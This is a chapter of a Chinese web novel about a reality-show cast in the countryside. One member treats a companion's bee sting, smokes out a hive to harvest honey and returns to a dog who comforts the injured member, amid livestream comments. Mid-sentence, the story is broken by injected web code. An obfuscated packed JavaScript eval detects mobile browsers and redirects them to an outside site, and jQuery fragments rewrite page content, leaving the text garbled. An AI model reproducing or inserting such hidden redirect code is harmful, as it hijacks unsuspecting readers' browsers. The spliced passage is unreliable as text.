离开节目组营地,直播再次开启,弹幕瞬间涌进来:
“回来了回来了!!谈了什么?快告诉我们!!”
“林江野表情好像挺轻松,应该谈成了吧”
“陆清淮还是那副淡淡的样子,猜不透”
“梦一个,泡菜做出来能在网上卖!”
两人回到小院,还没走近,就听见一声哀嚎。
“疼疼疼疼疼——”是江逾白的声音。
林江野和陆清淮两人对视一眼,加快步伐。
走进院子,就看见江逾白坐在台阶上,左手举着,手背红红肿肿的,他对着自己的手吹气,一边吹一边嗷嗷叫。
关夕、林思远和苏禾围在他身边脸上带着担忧,手足无措的看着他。
看见林江野,江逾白把那只肿成馒头的手高高举起: “林哥!!!”
“怎么了?”
“我们发现有蜂窝,我想走近点看看,然后就被蛰了……”
他边说边比划:“我转头就跑,还用手遮住脸,就怕被蛰到脸,我可是还要上舞台的!结果就蛰手上了!”
关夕在旁边补充:“我们当时都吓死了,还好没蛰到其他地方。”
江逾白耷拉着眉眼:“我就是想看清楚一点……”
林江野蹲下来,把江逾白那只肿成馒头的手拉过来,放在自己膝盖上。
“别动。”
林江野低头看了看,手背上红肿一片,亮晶晶的,像充了气,红肿的正中央,隐约能看见小黑点——那是残留的毒刺。
他用指甲贴着江逾白的皮肤,对准那根毒刺的根部,快速地一刮——毒刺被刮了出来,落在地上,和尘土融为一体不见踪影。
江逾白甚至没感觉到疼。
“好了。”
江逾白低头看了看自己的手,那几个黑点不见了,只有红肿还在。
林江野站起来,拉着他的手走进厨房,拧开水龙头,调成细细的水流,让清水冲在红肿的手背上。
清凉的水冲在伤口上,缓解了刺痛。
冲了一会儿,关上水,林江野从灶台下面翻出一块肥皂,他搓了搓手,打出泡沫,小心地涂在江逾白手背上,边涂边揉,让泡沫渗进那些被蛰过的小孔里。
冲干净泡沫,林江野又翻出一条干净毛巾,从冰箱敲了几块冰包起来包来按在江逾白手背上。
“自己按着。”
江逾白用另一只手接过来,按在肿起来的地方,冰凉的触感让他倒吸一口气,但很快,那股火辣辣的刺痛感就消下去了。
做完这一系列动作,林江野回到院子:“关哥,蜂窝在哪儿?”
关夕指了指后山的方向:“就在后山那棵老树上,挺大的一个。”
林江野点点头:“我一会儿去看看,正好看看能不能采点蜂。”
江逾白张了张嘴:“林哥……你不怕吗?”
林江野目光淡定,语气平静:“我之前采过一次,不怕。”
江逾白想说蜜蜂很可怕,但看着林江野那副淡定的样子,又把话咽了回去。
弹幕上路人觉得他老是冒失拖后腿,粉丝心痛他受伤,还有趁机挑事的黑粉,大家吵得不可开交:
“江逾白这么多期了这么还没长进?每次都是他拖后腿”
“对啊,感觉是想立走傻白甜人设吧,看得人烦死了”
“弹幕上某些人能不能善良点啊,小白又不是故意的,也是想多找点食物啊!”
“手红肿的样子看起来好惨,心疼小白!”
“林江野真会出风头拉好感啊,江逾白被蛰他就去采蜜,真是打得一手好算盘”
给江逾白处理好伤口,林江野进屋从柜子深处翻出一套灰白色的防蜂服。
关夕看见那套衣服,大受震撼:“江野,你连这都有?”
林江野把防蜂服抖开检查了一下:“想着要来野外生活,就把能想到的都带了,以防万一。”
关夕冲他竖起大拇指。
把防蜂服叠好塞进背篼,又往里装了几个干净的玻璃罐子、一把小刀、和一个打火机。
陆清淮走过来,林江野一看就知道他是要一起去,自从搬过来他们基本上都是一起行动,但这次他看了看手上的防蜂服,有些犹豫。
“你就一件防蜂服?”陆清淮看出了他的迟疑。
“嗯”
“那你一个人取蜜,我在远处等着。”
林江野皱眉:“不安全。”
“你一个人去,我不放心。”他看着林江野,不容拒绝:“我在远处等,不靠近。”
林江野想说什么,最终还是咽了回去:“……行。”盯着陆清淮的眼睛,补了一句:“你得答应我,别靠近。”
陆清淮点头。
两个人往后山走,陆清淮将背篼背在身后,坚持要到地方了再给林江野。
没走多久,按照关夕指的方向,果然看见一棵老树。
树干很粗,树冠巨大,枝叶茂密,在树干的分叉处挂着一个灰褐色的蜂巢,有许多蜜蜂围着嗡嗡嗡的飞。
林江野停下脚步,观察了一会儿,开始穿防蜂服。
陆清淮等他穿好将背篼给他,指了指远处一块巨石:“我就在那边,有事叫我。”
林江野看着他走远,身影消失在巨石后,这才收回目光。
他走到树下,嗡嗡声更大了。
他抬头看了看那个蜂窝——比想象中还大,挂在离地三四米高的树杈上。
他从背篼里拿出一团干草和一盒火柴,点燃干草,火苗窜起来,很快冒出浓烟,把冒烟的干草举高,烟随着空气流动上升,笼罩了整个蜂窝。
蜜蜂开始四散往外飞,像是被烟熏得晕头转向。
等了一会儿,见大部分蜜蜂都飞走了,林江野才开始爬树。
树干粗糙,他攀着上面的凸起,一点一点往上挪,爬到树杈的位置,蜂窝就在眼前。
他稳住身体,从背篼里拿出一个干净的玻璃罐子和刀,仔细端详了一会儿蜂窝,找到蜜脾,用刀轻轻割开一块,金黄色的蜜就流了出来,稠稠的,在阳光下泛着光,顺着蜜脾往下淌,滴进他手里的罐子。
他没有把整块蜜脾割下来,只是小心地刮开表面,让蜜流出来,这样不会破坏蜂巢的结构,明年还能来收。
一刀,一刀,又一刀。
罐子里金黄透亮的蜂蜜越来越多,整个人都被笼在清甜花
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338526|199282||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香的空气中。
罐子慢慢满了,他收手不再继续,剩下蜜要留给蜜蜂过冬。
收好刀,把罐子放进背篼,林江野开始往下爬。
下树比上树还难,他一手护着背篼,一手攀着树干,一点一点往下挪,脚踩到地面的时候,后背已经湿透了。
弹幕早在林江野点烟开始就疯狂滚动:
“专业,太专业了!林江野真的什么都会啊!”
“爬树好利落啊,这身手,林江野娶我!”
“楼上,陆清淮警告.jpg!”
“金灿灿的蜂蜜看着就有食欲,闻起来好香啊”
“林江野好温柔啊,割得好小心,深怕破坏了蜂巢,呜呜呜真是人美心善!“
林江野摘下面罩,深吸一口气,陆清淮走过来了脚步比平时更快一些,接过背篼: “没事吧?”
林江野笑着冲他摇头,把背篼递给他看,背篼里那个玻璃罐子装着金黄色的蜂蜜,在阳光下泛着温润的光。
陆清淮语气里透着喜悦:“收获不少。”
林江野嗯了一声。
“走吧,回去。”
回到小院,还没走近,又听到了江逾白的声音,这次不像上次惨兮兮的哀嚎,而是充满兴奋。
“小银!你怎么这么乖!!!”
“嗷呜嗷呜”是小银在回应他。
林江野和陆清淮走进院子,就看见小银蹲在江逾白旁边,脑袋搁在他腿上。江逾白用那只没受伤的手,使劲揉着小银的脑袋,揉得它耳朵都压扁了,但它一点不恼,还往他手心里蹭了蹭,就那么趴着乖乖任rua。
林思远和苏禾蹲在一旁,看着小银的眼神格外温和。
一旁的地上放着一只野鸡,毛色鲜艳,关夕见他们安全回来脸上扬起笑意:“你们刚走一会儿,小银就叼着野鸡回来,看见小白手肿了,把鸡一扔直接就蹭过去了,像是在安慰小白。”
小银听见动静,抬起头,看到林江野,冲他摇摇尾巴,咧开嘴像是在笑着说:他受伤了,我陪他。
江逾白看着腿上趴着的毛茸茸,感动得不行:“小银真的太好了……”
林江野走过去蹲下,揉了揉小银的脑袋:“我们家小银真贴心。”
陆清淮放下背篼也走过来轻轻摸了摸小银的背脊。
小银被大家摸开心了,喉咙里发出咕噜咕噜的声音。
直播间的观众看着小银乖巧的模样心都要化了:
“啊啊啊啊啊小银好乖!!!”
“呜呜呜它知道小白受伤了,所以特意陪着他,被揉歪了脑袋也不生气!”
“我也好想rua一把小银!太乖了”
“小银太暖了,比我家那个傻逼男朋友强一百倍!”
撸完小银,林江野拿出蜂蜜罐,江逾白眼睛都直了,“哇!!!这么多蜜!!!”
他蹭地站起来,盯着那罐金黄色的蜂蜜。
小银也跟着站起来,颠颠儿跑到林江野脚边,尾巴摇得像风车。
“感谢小银今天为我们抓来的鸡,今晚咱们做好吃的。”
江逾白眼睛更亮了:“做什么?”
林江野弯了弯眼睛:“蜂蜜脆皮鸡。”